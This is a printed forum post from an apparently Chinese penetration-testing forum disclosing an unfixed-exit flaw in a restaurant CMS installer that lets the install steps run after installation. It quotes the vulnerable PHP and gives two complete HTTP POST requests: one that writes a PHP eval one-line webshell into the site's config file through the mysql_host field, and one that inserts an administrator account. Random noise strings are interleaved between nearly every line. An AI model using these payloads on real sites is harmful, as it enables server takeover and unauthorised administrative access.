中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后，会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
7 f* N5 ]6 [/ \: }, W
9 o6 k5 a8 S- _# A
<?php
* K k9 [2 d+ U) A: h
if(file_exists("../install.lock"))
: t4 v7 W% k, B( s& H
{
; ]0 U5 q! t$ s3 Y% u) x, b
header("Location: ../");//没有退出
/ R# ~' g- j N% M
}
6 `# t7 j3 U9 h/ B
6 b9 B* c% j1 b4 i! ~! o9 @ R3 [
//echo 'tst';exit;
! T7 l0 V$ \# Q) b, C
require_once("init.php");
) `( B0 ]$ Z) Q' c/ q0 g
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
1 m" K6 p# h! w. I( Z9 V. B
{
1 g# y8 D K; e! e1 J: o
可见在/install/index.php存在时，只是header做了302重定向并没有退出，也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
* i& A7 \. C' x0 C
* u0 n' N# k ]% }
1、getshell（很危险）
4 _* f/ Y5 ?$ O- P8 Z
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
# ~& u4 @9 V1 p7 e+ `5 c
{
" n3 q* y# ^4 x) W B6 U! R
$smarty->assign("step",1);
& B9 v, U; h# s. A0 z/ O
$smarty->display("index.html");
: O' i2 `4 x& ]
}elseif($_REQUEST['step']==2)
" r0 y+ e# |' ~- v) M$ z
{
0 I8 p/ V4 k* ?4 m
$mysql_host=trim($_POST['mysql_host']);
3 Q- r& V! w% P' ]* a& M
$mysql_user=trim($_POST['mysql_user']);
$ O5 C4 Y/ B* l7 ]# E- x \ @
$mysql_pwd=trim($_POST['mysql_pwd']);
* N& v4 R- @/ q" S: ?# s
$mysql_db=trim($_POST['mysql_db']);
0 f9 U' B' {/ Z. J) x5 i ^! D- T
$tblpre=trim($_POST['tblpre']);
% y3 v' r! z9 Y4 a) Z7 V' Y5 g
$domain==trim($_POST['domain']);
3 {7 |) j3 W( m# Q/ i! B
$str="<?php \r\n";
& r g: l# I1 \+ g4 {( o- P
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
m _! x. P5 [7 S3 T
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
1 L5 y7 q& j7 m
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
" ^; i7 h% Z% j4 E1 B! _
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
" r5 n9 D/ V' G% N
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
F6 p+ T9 e7 B! I
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
( Q1 M+ Z D2 k- W' \. I0 B% @& h
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
' [, B2 ], L! s; j$ _; E
$str.='define("SKINS","default");'."\r\n";
2 O. P1 k# Y: g7 g% P, @% y
$str.='?>';
' C: O: u8 b$ e# \0 a8 f3 P8 Y
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
% w8 c+ O1 {8 n9 P6 I) p
上面的代码将POST的数据直接写入了../config/config.inc.php文件，那么我们提交如下POST包，即可获得一句话木马
9 E' h; a& x+ [
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
7 Z/ i' G& j2 L5 Q) L7 l% o
Host: 192.168.80.129
( X, v. \6 W) Y% }: _0 Q
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
+ O+ W; E t! Y, n6 f: B/ Q# B$ d
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
% n" W7 d9 L) m( `' ?. N! P/ g
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
# L6 B w, B- ?9 ~
Accept-Encoding: gzip, deflate
$ _! z* F& p7 {
Referer:
http://192.168.80.129/canting/install/index.php?step=1
1 _. ~4 m& I) a4 d C1 E( y
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
/ }. x: i; x# s6 T; r0 D! s/ f
Content-Type: application/x-www-form-urlencoded
0 u8 }- a9 u, R: C5 n
Content-Length: 126
1 A/ q. W; c/ y" x$ K
) l2 ?& B0 P# A
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
# }5 S- U7 D3 d0 a
但是这个方法很危险，将导致网站无法运行。
X. ^4 P: o3 J) d3 d2 e7 x# k0 L% C
) [! z* l( Y" M' M8 t
2、直接添加管理员
' w. g( N4 j' m$ V0 T+ {
5 {$ P; A3 o1 J* i
elseif($_REQUEST['step']==5)
* E( ~7 j. t6 r
{
" A1 V. B3 O$ n- U
if($_POST)
/ X) K+ X" v# C- h o: t( Q
{ require_once("../config/config.inc.php");
1 h4 R8 P7 Q# D$ m) U# ~1 ?4 C
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
; O) W3 j, P+ s! ?9 d
mysql_select_db(MYSQL_DB,$link);
* N5 z8 @) N& Y% J8 v( ]: @8 C
mysql_query("SET NAMES ".MYSQL_CHARSET );
( |- U# m) i4 [$ ~% u* O
mysql_query("SET sql_mode=''");
- y+ d) w* z% m+ D* i
( J0 T. V1 R6 g
$adminname=trim($_POST['adminname']);
3 E- C! }/ w/ Z/ s
$pwd1=trim($_POST['pwd1']);
+ R0 K: t0 E0 [; ~+ S
$pwd2=trim($_POST['pwd2']);
1 p- N c9 K! q7 p9 _
if(empty($adminname))
& i/ Z& f+ f& l/ Z! v0 }
{
t7 g8 v. {& W
( h4 [1 I9 u9 d0 X% S0 @
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
) Y: Y$ [/ B4 v( @
exit();
. g9 n* S" D9 @: Y' g+ y& X
}
0 X# C" s8 @& y& b- z
if(($pwd1!=$pwd2) or empty($pwd1))
4 M/ z2 g9 K7 }+ {6 Y
{
4 K9 n' q1 r& Q/ T5 w
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
, ]" Q+ u) w% J; }' c5 I. J
}
) @6 Y Q: S3 |1 s Z
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
+ ^) j$ t1 f+ N$ G, L0 [
}
: p/ S: n9 c: G6 V+ T
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号，语句如下：
7 V4 ]7 E2 N! M) n* d; V
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
# p6 _$ ^2 W0 U, H
Host: 192.168.80.129
7 E9 p4 Z- S7 V8 q: E7 ~8 Y$ x
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
8 V- g! \" E9 Y7 m: ` g
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# @! d, d8 }1 C" X3 d0 V5 ~/ V6 A$ F
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
" U* q' H) t$ p# [4 G7 `3 n
Accept-Encoding: gzip, deflate
! g4 L! u2 n6 g% c6 w& b1 O1 L0 H9 M
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
1 z% r2 y/ X( A9 B8 ]+ K
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
) ^$ `% D% m1 z
Content-Type: application/x-www-form-urlencoded
% N1 E t* Y. M3 R; [8 X0 ^2 [( m! k
Content-Length: 46
" X. V5 ]2 C5 ]3 o& t) k5 H
; A* L" L; a8 N U4 j6 S
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
! W/ H+ Q$ x4 h
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2